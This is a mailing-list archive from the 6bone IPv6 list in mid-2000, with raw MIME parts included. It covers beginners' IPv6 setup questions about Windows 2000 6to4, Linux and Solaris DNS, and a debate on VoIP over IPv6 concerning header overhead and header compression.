Can you send us
a) Information about your hardware configuration.
b) Information about your network topology? How are you connected to the
internet?
c) The output of "ipv6 if" and "ipv6 rt".
 
Thanks,
Rich

-----Original Message-----
From: sunym [mailto:sunym@NJUST0.njust.edu.cn]
Sent: Tuesday, June 06, 2000 4:27 AM
To: 6bone@ISI.EDU
Subject: A TYRO'S QUESTION


     I AM A CHINESE STUDENT,NOW,I HAVE INSTALLED WINDOWS2000 AND BUILD A
IPV6 STACK .USING " IPV6 "COMMAND,I TRY TO CONNECT WITH
6TO4(::131.107.65.121).WHEN I HAVE FINISHED ALL THE COMMAND ,I TYPE 
" PING6 ::131.107.65.121"
THE RESULT IS,TOO MUCH "REQUEST TIMMED OUT" AND SHOW REPLY ONCE IN A
WHILE,HOWEVER,IF I TYPE "PING 131.107.65.121" ,THE RESULT IS NORMAL.WHY?


------_=_NextPart_001_01BFDF9C.F15A9180
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dgb2312">


<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D146562818-26062000>Well,=20
everything looks OK in your configuration. I'm sorry to say that I =
don't have a=20
good idea why "ping 131.107.65.121" works well but "ping6 =
::131.107.65.121" is=20
unreliable. My only guess is that something in your network (maybe the=20
firewall?) is handling encapsulated IPv6 packets in a slow path and so =
they get=20
a higher drop rate.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D146562818-26062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D146562818-26062000>Rich</SPAN></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> sunym=20
  [mailto:sunym@NJUST0.njust.edu.cn]<BR><B>Sent:</B> Sunday, June 25, =
2000 8:03=20
  PM<BR><B>To:</B> Richard Draves<BR><B>Cc:</B> =
6BONE@ISI.EDU<BR><B>Subject:</B>=20
  A TYRO'S CONFIGURATION INFORMATION<BR><BR></DIV></FONT>
  <DIV><FONT size=3D2>
  <DIV><FONT size=3D2>Please open the attachment,thank =
you!</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>----- Original Message ----- </DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt =CB=CE=CC=E5; font-color: =
black"><B>From:</B>=20
    <A href=3D"mailto:richdr@microsoft.com" =
title=3Drichdr@microsoft.com>Richard=20
    Draves</A> </DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>To:</B> <A=20
    href=3D"mailto:sunym@NJUST0.njust.edu.cn"=20
    title=3Dsunym@NJUST0.njust.edu.cn>'sunym'</A> </DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>Cc:</B> <A =
href=3D"mailto:bzill@microsoft.com"=20
    title=3Dbzill@microsoft.com>Brian Zill</A> </DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>Sent:</B> Tuesday, June =
06, 2000 10:06=20
PM</DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>Subject:</B> RE: A TYRO'S =
QUESTION</DIV>
    <DIV><BR></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Let me clarify this. If you =
run</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>&nbsp;&nbsp;&nbsp; ping=20
    131.107.65.121</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>then it works great.</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>But if you try</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>&nbsp;&nbsp;&nbsp; ping6=20
    ::131.107.65.121</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>then you get some replies but most pings =
time=20
    out?</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Can you send us</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D531190414-06062000>a)=20
    Information about your hardware configuration.</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D531190414-06062000>b)=20
    Information about your network topology? How are you connected to =
the=20
    internet?</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D531190414-06062000>c)=20
    The output of "ipv6 if" and "ipv6 rt".</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Thanks,</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Rich</SPAN></FONT></DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
      <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B> sunym=20
      [mailto:sunym@NJUST0.njust.edu.cn]<BR><B>Sent:</B> Tuesday, June =
06, 2000=20
      4:27 AM<BR><B>To:</B> 6bone@ISI.EDU<BR><B>Subject:</B> A TYRO'S=20
      QUESTION<BR><BR></DIV></FONT>
      <DIV><FONT face=3DTahoma size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; I AM A =
CHINESE=20
      STUDENT,NOW,I HAVE INSTALLED WINDOWS2000 AND BUILD A </FONT><FONT =

      face=3DTahoma size=3D2>IPV6 STACK .USING " IPV6 "COMMAND,I TRY TO =
CONNECT WITH=20
      6TO4(::131.107.65.121).WHEN I HAVE FINISHED ALL THE COMMAND ,I =
TYPE=20
      </FONT></DIV>
      <DIV><FONT face=3DTahoma size=3D2>" PING6 =
::131.107.65.121"</FONT></DIV>
      <DIV><FONT face=3DTahoma size=3D2>THE RESULT IS,TOO MUCH "REQUEST =
TIMMED OUT"=20
      AND SHOW REPLY ONCE IN A WHILE,HOWEVER,IF I TYPE "PING =
131.107.65.121"=20
      ,THE RESULT IS=20
NORMAL.WHY?</FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></FONT></DIV></BLOCKQU=
OTE></BODY></HTML>

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From: Richard Draves <richdr@microsoft.com>
To: sunym <sunym@NJUST0.njust.edu.cn>
Cc: 6BONE@ISI.EDU
Subject: RE: A TYRO'S CONFIGURATION INFORMATION
Date: Mon, 26 Jun 2000 11:32:54 -0700
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Well, everything looks OK in your configuration. I'm sorry to say that I
don't have a good idea why "ping 131.107.65.121" works well but "ping6
::131.107.65.121" is unreliable. My only guess is that something in your
network (maybe the firewall?) is handling encapsulated IPv6 packets in a
slow path and so they get a higher drop rate.
 
Rich

-----Original Message-----
From: sunym [mailto:sunym@NJUST0.njust.edu.cn]
Sent: Sunday, June 25, 2000 8:03 PM
To: Richard Draves
Cc: 6BONE@ISI.EDU
Subject: A TYRO'S CONFIGURATION INFORMATION



Please open the attachment,thank you!
 
 
 
 
----- Original Message ----- 

From: Richard  <mailto:richdr@microsoft.com> Draves 
To: 'sunym' <mailto:sunym@NJUST0.njust.edu.cn>  
Cc: Brian Zill <mailto:bzill@microsoft.com>  
Sent: Tuesday, June 06, 2000 10:06 PM
Subject: RE: A TYRO'S QUESTION

Let me clarify this. If you run
    ping 131.107.65.121
then it works great.
But if you try
    ping6 ::131.107.65.121
then you get some replies but most pings time out?
 
Can you send us
a) Information about your hardware configuration.
b) Information about your network topology? How are you connected to the
internet?
c) The output of "ipv6 if" and "ipv6 rt".
 
Thanks,
Rich

-----Original Message-----
From: sunym [mailto:sunym@NJUST0.njust.edu.cn]
Sent: Tuesday, June 06, 2000 4:27 AM
To: 6bone@ISI.EDU
Subject: A TYRO'S QUESTION


     I AM A CHINESE STUDENT,NOW,I HAVE INSTALLED WINDOWS2000 AND BUILD A
IPV6 STACK .USING " IPV6 "COMMAND,I TRY TO CONNECT WITH
6TO4(::131.107.65.121).WHEN I HAVE FINISHED ALL THE COMMAND ,I TYPE 
" PING6 ::131.107.65.121"
THE RESULT IS,TOO MUCH "REQUEST TIMMED OUT" AND SHOW REPLY ONCE IN A
WHILE,HOWEVER,IF I TYPE "PING 131.107.65.121" ,THE RESULT IS NORMAL.WHY?


------_=_NextPart_001_01BFDF9C.F15A9180
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	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D146562818-26062000>Well,=20
everything looks OK in your configuration. I'm sorry to say that I =
don't have a=20
good idea why "ping 131.107.65.121" works well but "ping6 =
::131.107.65.121" is=20
unreliable. My only guess is that something in your network (maybe the=20
firewall?) is handling encapsulated IPv6 packets in a slow path and so =
they get=20
a higher drop rate.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D146562818-26062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D146562818-26062000>Rich</SPAN></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> sunym=20
  [mailto:sunym@NJUST0.njust.edu.cn]<BR><B>Sent:</B> Sunday, June 25, =
2000 8:03=20
  PM<BR><B>To:</B> Richard Draves<BR><B>Cc:</B> =
6BONE@ISI.EDU<BR><B>Subject:</B>=20
  A TYRO'S CONFIGURATION INFORMATION<BR><BR></DIV></FONT>
  <DIV><FONT size=3D2>
  <DIV><FONT size=3D2>Please open the attachment,thank =
you!</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>----- Original Message ----- </DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt =CB=CE=CC=E5; font-color: =
black"><B>From:</B>=20
    <A href=3D"mailto:richdr@microsoft.com" =
title=3Drichdr@microsoft.com>Richard=20
    Draves</A> </DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>To:</B> <A=20
    href=3D"mailto:sunym@NJUST0.njust.edu.cn"=20
    title=3Dsunym@NJUST0.njust.edu.cn>'sunym'</A> </DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>Cc:</B> <A =
href=3D"mailto:bzill@microsoft.com"=20
    title=3Dbzill@microsoft.com>Brian Zill</A> </DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>Sent:</B> Tuesday, June =
06, 2000 10:06=20
PM</DIV>
    <DIV style=3D"FONT: 10pt =CB=CE=CC=E5"><B>Subject:</B> RE: A TYRO'S =
QUESTION</DIV>
    <DIV><BR></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Let me clarify this. If you =
run</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>&nbsp;&nbsp;&nbsp; ping=20
    131.107.65.121</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>then it works great.</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>But if you try</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>&nbsp;&nbsp;&nbsp; ping6=20
    ::131.107.65.121</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>then you get some replies but most pings =
time=20
    out?</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Can you send us</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D531190414-06062000>a)=20
    Information about your hardware configuration.</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D531190414-06062000>b)=20
    Information about your network topology? How are you connected to =
the=20
    internet?</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D531190414-06062000>c)=20
    The output of "ipv6 if" and "ipv6 rt".</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Thanks,</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D531190414-06062000>Rich</SPAN></FONT></DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
      <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B> sunym=20
      [mailto:sunym@NJUST0.njust.edu.cn]<BR><B>Sent:</B> Tuesday, June =
06, 2000=20
      4:27 AM<BR><B>To:</B> 6bone@ISI.EDU<BR><B>Subject:</B> A TYRO'S=20
      QUESTION<BR><BR></DIV></FONT>
      <DIV><FONT face=3DTahoma size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; I AM A =
CHINESE=20
      STUDENT,NOW,I HAVE INSTALLED WINDOWS2000 AND BUILD A </FONT><FONT =

      face=3DTahoma size=3D2>IPV6 STACK .USING " IPV6 "COMMAND,I TRY TO =
CONNECT WITH=20
      6TO4(::131.107.65.121).WHEN I HAVE FINISHED ALL THE COMMAND ,I =
TYPE=20
      </FONT></DIV>
      <DIV><FONT face=3DTahoma size=3D2>" PING6 =
::131.107.65.121"</FONT></DIV>
      <DIV><FONT face=3DTahoma size=3D2>THE RESULT IS,TOO MUCH "REQUEST =
TIMMED OUT"=20
      AND SHOW REPLY ONCE IN A WHILE,HOWEVER,IF I TYPE "PING =
131.107.65.121"=20
      ,THE RESULT IS=20
NORMAL.WHY?</FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></FONT></DIV></BLOCKQU=
OTE></BODY></HTML>

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From 6bone-owner  Mon Jun 26 17:20:49 2000
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Date: Tue, 27 Jun 2000 09:24:19 +0900
From: ksb <ksbn@kt.co.kr>
Reply-To: ksbn@kt.co.kr
Organization: Korea Telecom
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How are you?

I hope to make DNS using Solaris7. (SUN60)
Will you give me some information.
This is the first time for me to install
IPv4/IPv6 DNS.

Thanks.
ksb
--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



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From 6bone-owner  Thu Jun 29 06:04:59 2000
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To: 6bone@ISI.EDU
Subject: ipv6 linux (setup local ip6 address)
Date: Thu, 29 Jun 2000 09:05:42 -0400
From: Peilei Fan <peilei@MIT.EDU>
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Hello there,

 I need some help from someone who has experience of setting up ipv6 in linux.

 Here I am doing a project that need several local linux machine sending
 each other ipv6 packets.  I followed Peter's (seems the most popular ipv6 in
 linux how to website) GUIDE to recompile the ipv6 kernel and installed the
 necessary applications.   For instance, when I try to ping6 my machine ::1 and fe80::8653:07a0 (the ipv6 address it automatically generate according to my eth0 address), it works fine.
 
 However,...

Here are the questions:

 1. when I try to do "ifconfig eth0 inet6 fec0:0:0:1:2c0:6cff:fe00:f043" so
 that I can set it as some local ipv6 address, it gives the msg "don't know
 how to set add for family 10"  Do you know what will be the reason? Do you
 know how to configure your eth interface in ipv6 (set up local ip6 address, subnet mask, etc)? 

 2. Also, do you refer some good website that give you instructions on ipv6
 setup in linux or how to obtain an ipv6 static address?
 
 I will really appreciate your help.
 
 Best wishes,
 
 Peilei
 

From 6bone-owner  Thu Jun 29 10:01:28 2000
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From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
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On Thu, 29 Jun 2000, Peilei Fan wrote:

> Here are the questions:
> 
>  1. when I try to do "ifconfig eth0 inet6 fec0:0:0:1:2c0:6cff:fe00:f043" so
>  that I can set it as some local ipv6 address, it gives the msg "don't know
>  how to set add for family 10"  Do you know what will be the reason? Do you
>  know how to configure your eth interface in ipv6 (set up local ip6 address, subnet mask, etc)? 

Don't do that! :-)  See below...

>  2. Also, do you refer some good website that give you instructions on ipv6
>  setup in linux or how to obtain an ipv6 static address?

	http://www.debian.org/~csmall/ipv6/setup.html

Try that site.  The instructions are generic enough to work on linux in
general.  ifconfig isn't as reliable to use as  'ip' is.

>  Peilei

wfms


From 6bone-owner  Thu Jun 29 13:33:07 2000
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From: "Stan J creature's user" <stan@creature.TELECOM.ou.edu>
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Does anyone know how to unscubscribe from the 6bone list?  Please help.

stan@creature.telecom.ou.edu


From 6bone-owner  Thu Jun 29 18:24:49 2000
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% 
% 
% Does anyone know how to unscubscribe from the 6bone list?  Please help.
% 
% stan@creature.telecom.ou.edu
% 

send a note to:

majordomo@isi.edu

with the text in the body of:

unsubscribe 6bone <the_email_address_you_subscribed_under>


-- 
--bill

From 6bone-owner  Fri Jun 30 03:30:23 2000
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	Hello!

	Is there any function that works as 'char *inet_ntoa(struct in_addr
in);' but with IPv6 addresses (struct in6_addr)?

	(I'm interested in Linux version)

	Thank you. Bye!
-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Sat Jul  1 00:40:12 2000
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In-Reply-To: <395C7A37.EFE1BFEC@mat.upc.es> from Julio Baixauli at "Jun 30, 2000
 12:45:11 pm"
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From: jwk@stack.nl (Jan Willem Knopper)
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> 	Hello!
> 
> 	Is there any function that works as 'char *inet_ntoa(struct in_addr
> in);' but with IPv6 addresses (struct in6_addr)?
> 
> 	(I'm interested in Linux version)
It is stated in RFC 2133 section 6.5:

int inet_pton(int af, const char *src, void *dst);

const char *inet_ntop(int af, const void *src,
		char *dst, size_t size);

(for documentation read that RFC, 
	ftp://ftp.ipv6.org/pub/rfc/rfc2133.txt)

Jan Willem

P.S. Is this on topic here ?

From 6bone-owner  Mon Jul  3 17:57:12 2000
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How are you?

Who does research VoIPv6?
I think VoIPv6 is a good application
for IPv6.

Thanks.
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



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Date: Tue, 4 Jul 2000 20:08:03 -0400 (EDT)
From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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To: ksb <ksbn@kt.co.kr>
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Subject: Re: VoIPv6
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Many of the VoIP people are already unhappy with the IPv4 20byte/packet
overhead (due to latency constraints making them place only a small amount
of voice data from each call into each packet), so there doesn't seem to
be alot of movement in this area with IPv6.

On Tue, 4 Jul 2000, ksb wrote:

> How are you?
> 
> Who does research VoIPv6?
> I think VoIPv6 is a good application
> for IPv6.
> 
> Thanks.
> ksb
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8279
>   E-mail :  ksbn@kt.co.kr
> --
> 
> 
> 


From 6bone-owner  Tue Jul  4 20:34:58 2000
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Date: Tue, 4 Jul 2000 23:35:22 -0400 (EDT)
From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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To: "Todd T. Fries" <todd@fries.net>
cc: ksb <ksbn@kt.co.kr>, 6bone <6bone@ISI.EDU>
Subject: Re: VoIPv6
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Not really for this task.. 

IPv6 = 40byte header
ATM = 5byte header, 48byte payload

Now,  for data due to the MUCH large allowed payload, IP wins out, but for
telephony
applications where latency is important (anything more then 300ms you need
echo canceling, more 100ms your users start wondering if you switched
their phone for a CB)

So lets assume a 1 way path latency of 25ms, and audio codec that outputs
16kbit/sec (perhaps adpcm with silencing, double-rate GSM, or others), and
lets calculate the maximum data packet to achieve 140ms one-way latency
(note: much less is desirable due to the complexity of echo canceling).

Okay, we lose 25 ms to network latency so that leaves 75ms for codec
delay and framing delay. Assuming that there is no codec delay (HA!), we
can only put 150bytes per packet. (75ms of 16kbit/sec is 150bytes).

That means we will emit 190 bytes per 75ms with IPv6 (20266.6kbit/sec),
giving a one way delay of 100ms ignoring all codec delays. Reality would
probably be a lot worse due to the codec delays.

For ATM we would emit 165.625 bytes per 75ms (17666.66kbit/sec).

ATM overhead: 10.4%
IPv6 overhead: 26.6%

It gets worse for better compression algorithms, and if you put in more
realistic delay numbers (codec delay, etc).. (8kbit/sec ABR is quite
realistic for better then toll quality voice). 

Of course, you can improve the solution quite a bit by multiplexing
multiple calls into one IP packet for transversal of longer delay links.

(BTW- My numbers may be a bit off as I'm not a telephony expert, I'm just
aware of the issues, nor is this an endorsement of ATM (yuch))

On Tue, 4 Jul 2000, Todd T. Fries wrote:

> This is very funny considering the atm networks upon which most phone
> systems reside have a 53 byte packet .. not all of which is for data ..
> so the data / header ratio is much worse in native telco land ..


From 6bone-owner  Tue Jul  4 21:17:39 2000
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To: Greg Maxwell <gmaxwell@Martin.FL.US>
Cc: ksb <ksbn@kt.co.kr>, 6bone <6bone@ISI.EDU>
Subject: Re: VoIPv6 
In-Reply-To: Message from Greg Maxwell <gmaxwell@Martin.FL.US> 
   of "Tue, 04 Jul 2000 20:08:03 EDT." <Pine.GSO.3.96.1000704195855.12933A-100000@da1server> 
Reply-To: sommerfeld@orchard.arlington.ma.us
Date: Wed, 05 Jul 2000 00:18:21 -0400
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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> Many of the VoIP people are already unhappy with the IPv4 20byte/packet
> overhead (due to latency constraints making them place only a small amount
> of voice data from each call into each packet), so there doesn't seem to
> be alot of movement in this area with IPv6.

two words: header compression.

					- Bill

From 6bone-owner  Wed Jul  5 02:14:15 2000
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From: Robin Cull <Robin.Cull@pace.co.uk>
To: "'sommerfeld@orchard.arlington.ma.us'"
	 <sommerfeld@orchard.arlington.ma.us>,
        Greg Maxwell
	 <gmaxwell@Martin.FL.US>
Cc: ksb <ksbn@kt.co.kr>, 6bone <6bone@ISI.EDU>
Subject: RE: VoIPv6 
Date: Wed, 5 Jul 2000 10:14:51 +0100 
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Three words:

header decompression latency...

--
Robin Cull, Product Support Engineer
Pace Micro Technology plc           Email: Robin.Cull@pace.co.uk
645 Newmarket Road                  Tel:   +44 (0)1223 518514
Cambridge CB5 8PB                   Fax:   +44 (0)1223 518526

The e-mail and any attachments hereto are strictly confidential and
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You must not disclose, forward or copy this e-mail or attachments 
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-----Original Message-----
From: Bill Sommerfeld [mailto:sommerfeld@orchard.arlington.ma.us]
Sent: 05 July 2000 05:18
To: Greg Maxwell
Cc: ksb; 6bone
Subject: Re: VoIPv6 


> Many of the VoIP people are already unhappy with the IPv4 20byte/packet
> overhead (due to latency constraints making them place only a small amount
> of voice data from each call into each packet), so there doesn't seem to
> be alot of movement in this area with IPv6.

two words: header compression.

					- Bill

From 6bone-owner  Wed Jul  5 06:59:52 2000
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From: Robin Cull <Robin.Cull@pace.co.uk>
To: "'Tim Chown'" <tjc@ecs.soton.ac.uk>, Robin Cull <Robin.Cull@pace.co.uk>
Cc: "'sommerfeld@orchard.arlington.ma.us'"
	 <sommerfeld@orchard.arlington.ma.us>,
        Greg Maxwell
	 <gmaxwell@Martin.FL.US>, ksb <ksbn@kt.co.kr>,
        6bone <6bone@ISI.EDU>
Subject: RE: VoIPv6 
Date: Wed, 5 Jul 2000 15:00:31 +0100 
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Umm actually none but it is worth thinking about.

True, header decompression is a trivial task for a powerful desktop machine
but the types of devices that will be doing VoIP are more likely going to be
smaller embedded devices.  Enough of the processor capacity will be taken up
doing more important tasks like decompression/compressing audio and it won't
want to be messing around doing header decompression as well.  

It was just a thought...

Robin
--
Robin Cull, Product Support Engineer
Pace Micro Technology plc           Email: Robin.Cull@pace.co.uk
645 Newmarket Road                  Tel:   +44 (0)1223 518514
Cambridge CB5 8PB                   Fax:   +44 (0)1223 518526

The e-mail and any attachments hereto are strictly confidential and
intended solely for the addressee. If you are not the intended 
addressee please notify the sender by return and delete the message. 
You must not disclose, forward or copy this e-mail or attachments 
to any third party without the prior consent of the sender.


-----Original Message-----
From: Tim Chown [mailto:tjc@ecs.soton.ac.uk]
Sent: 05 July 2000 14:18
To: Robin Cull
Cc: 'sommerfeld@orchard.arlington.ma.us'; Greg Maxwell; ksb; 6bone
Subject: RE: VoIPv6 


On Wed, 5 Jul 2000, Robin Cull wrote:

> Three words:
> 
> header decompression latency...

So how much latency is there when the compression is a differencing
method as per rfc2507?  Do you have any implementation results?

tim

From 6bone-owner  Wed Jul  5 07:01:17 2000
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To: Robin Cull <Robin.Cull@pace.co.uk>, "'Tim Chown'" <tjc@ecs.soton.ac.uk>
Cc: "'sommerfeld@orchard.arlington.ma.us'"
	 <sommerfeld@orchard.arlington.ma.us>,
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Subject: RE: VoIPv6 
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^decompression^decompressing^

sorry...

Robin

--
Robin Cull, Product Support Engineer
Pace Micro Technology plc           Email: Robin.Cull@pace.co.uk
645 Newmarket Road                  Tel:   +44 (0)1223 518514
Cambridge CB5 8PB                   Fax:   +44 (0)1223 518526

The e-mail and any attachments hereto are strictly confidential and
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addressee please notify the sender by return and delete the message. 
You must not disclose, forward or copy this e-mail or attachments 
to any third party without the prior consent of the sender.


-----Original Message-----
From: Robin Cull 
Sent: 05 July 2000 15:01
To: 'Tim Chown'; Robin Cull
Cc: 'sommerfeld@orchard.arlington.ma.us'; Greg Maxwell; ksb; 6bone
Subject: RE: VoIPv6 


Umm actually none but it is worth thinking about.

True, header decompression is a trivial task for a powerful desktop machine
but the types of devices that will be doing VoIP are more likely going to be
smaller embedded devices.  Enough of the processor capacity will be taken up
doing more important tasks like decompression/compressing audio and it won't
want to be messing around doing header decompression as well.  

It was just a thought...

Robin
--
Robin Cull, Product Support Engineer
Pace Micro Technology plc           Email: Robin.Cull@pace.co.uk
645 Newmarket Road                  Tel:   +44 (0)1223 518514
Cambridge CB5 8PB                   Fax:   +44 (0)1223 518526

The e-mail and any attachments hereto are strictly confidential and
intended solely for the addressee. If you are not the intended 
addressee please notify the sender by return and delete the message. 
You must not disclose, forward or copy this e-mail or attachments 
to any third party without the prior consent of the sender.


-----Original Message-----
From: Tim Chown [mailto:tjc@ecs.soton.ac.uk]
Sent: 05 July 2000 14:18
To: Robin Cull
Cc: 'sommerfeld@orchard.arlington.ma.us'; Greg Maxwell; ksb; 6bone
Subject: RE: VoIPv6 


On Wed, 5 Jul 2000, Robin Cull wrote:

> Three words:
> 
> header decompression latency...

So how much latency is there when the compression is a differencing
method as per rfc2507?  Do you have any implementation results?

tim

From 6bone-owner  Wed Jul  5 07:21:55 2000
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To: Greg Maxwell <gmaxwell@Martin.FL.US>
Cc: 6bone <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: VoIPv6 
In-reply-to: Your message of Tue, 04 Jul 2000 23:35:22 EDT.
             <Pine.GSO.3.96.1000704225659.15315A-100000@da1server> 
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> ATM overhead: 10.4%
> IPv6 overhead: 26.6%

Completely irrelevant, since ATM doesn't go (hardly) anywhere.  If
you're going to bury your own infrastructure, you might as well
install a PBX at each site and do away with ATM as well.


From 6bone-owner  Wed Jul  5 08:18:49 2000
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Date: Wed, 5 Jul 2000 11:19:17 -0400 (EDT)
